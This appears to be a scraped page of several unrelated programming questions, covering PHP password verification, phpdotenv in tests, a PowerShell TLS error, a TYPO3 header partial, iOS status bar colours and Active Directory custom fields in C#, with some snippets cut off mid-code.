dang title bad. i working on site bunch of users imported use of csv file. csv file includes first name, last name, email etc. before file uploaded db running through program takes last name , appends last 4 digits of 7 digit number in csv , assigning password value. when user logs in first time redirects page enter new password gets hashed , stored in db using password_hash function. redirects them home page. on sign in page first checks against db plain text password entered (i know terrible way of doing , i'm trying find way this... leave answers well!) if returns no results query's db hashed pass , stores in variable. run password_verify function , fails when know entered in right pass. var_dump(ed) hashed var , echoed pass entered run through password_hash function. don't match , don't know why. here relevant code. if (!empty($_post)){ $lname = $_post['lname']; $pass = $_post['pass']; //region prepare mysqli statement ,

php - Ignore .env file on unit tests -

most of classes include loading env variables configuration. when coding thought vlucas/phpdotenv ignored .env file on testing environments since there conf file phpunit.xml define them. is possible make dotenv ignore .env when on testing environment? testing use .env file, can override of settings in phpunit.xml . <php> <env name="app_env" value="testing"/> <env name="cache_driver" value="array"/> <env name="session_driver" value="array"/> <env name="db_driver" value="sqlite"/> <env name="cache_host" value="localhost"/> <env name="session_host" value="localhost"/> </php>

security - Invoke-RestMethod : The underlying connection was closed: Could not establish trust relationship for the SSL/TLS -

i trying connect localhost rest server using powershell invoke-restmethod cmdlet follows: invoke-restmethod -uri "https://localhost:port/xxx/xxx/" -certificatethumbprint "thumbprint of client certificate" whenever run command error invoke-restmethod : underlying connection closed: not establish trust relationship ssl/tls secure channel. i have necessary server certificate , client certificate installed. powershell client certificate installed in currentuser store. certification authority cert added "trusted root certification authority". can please explain why error? not looking tricks ignore cert errors, trying understand what's wrong powershell. if use ie works fine. thanks.

html - Typo3 hide fluidcontent_core header when value is set to None -

i'm trying override typo3 fluidcontent_core partial "content/header", in order avoid creating tag when header item set "none". using information this post able add "none" option dropdown. however, still have following 2 problems: when try override partialroottemplate point extension, no changes make content/header partial (located in own extension) have effect. code: plugin.tx_fluidcontentcore.view.partialrootpaths.0 = ext:manageengine_fluid/resources/private/fluidcontent/partials/ . path exists, , literally copied , pasted contents of partials folder fluidcontent_core. editing header element editing fluidcontent_core partial file directly works. however, haven't been able have not display when header.type set none. attempt (which 1 line, i'm not sure how else place v:tag v:if): {v:if(then: <v:tag name="h{content.settings.header.type -> v:or(alternative: record.header_layout) -> v:or(alternative: settings.header.t

ios - Update status bar text colour in real time as view changes -

this might beginner question, noticed interesting in new apple music app. when switching 1 view another, status bar text colour seems change in real time rather @ once when next view loads. check out screen recording see mean: http://f.cl.ly/items/2a0a3q3i2o2d2o3u3q1m/statusbar_1.mp4 closeup: http://f.cl.ly/items/182r3n3z1m1y0y1w0j2j/statusbar_2.mov how achieve same effect? instance, when transitioning view controller modally, how status bar style change dynamically rather when next view loads? possible? apple using private api, or simple trick i'm missing? sorry if beginner question, don't think i've ever seen app this. nothing you’re missing—there’s no api that. i’ve seen couple of third-party apps similar, finding status bar window, snapshotting it, , doing clever things resulting image, that’s pretty fragile. always, if you’d api something, should file enhancement request .

How can I get a custom field from Active Directory in C#? -

Image
i've read plenty of similar stackoverflow questions none seem address issue i'm seeing. if query user using userprincipalname search result 34 properties. none of custom properties returned. if query again using custom property employeenumber result 71 properties. custom properties included. my issue don't have employeenumber @ run time, userprincipalname . need of custom properties of time. makes sense. here's practice code: string sid = ""; using (principalcontext context = new principalcontext(contexttype.domain)) { userprincipal user = userprincipal.current; //sid = user.samaccountname; sid = user.userprincipalname; //sid = user.sid.tostring(); directoryentry entry = user.getunderlyingobject() directoryentry; if (entry.properties.contains("employeenumber")) { //this doesn't work } } directoryentry ldapconnection = new directoryentry("companyname.com"); ldapconnection.path = "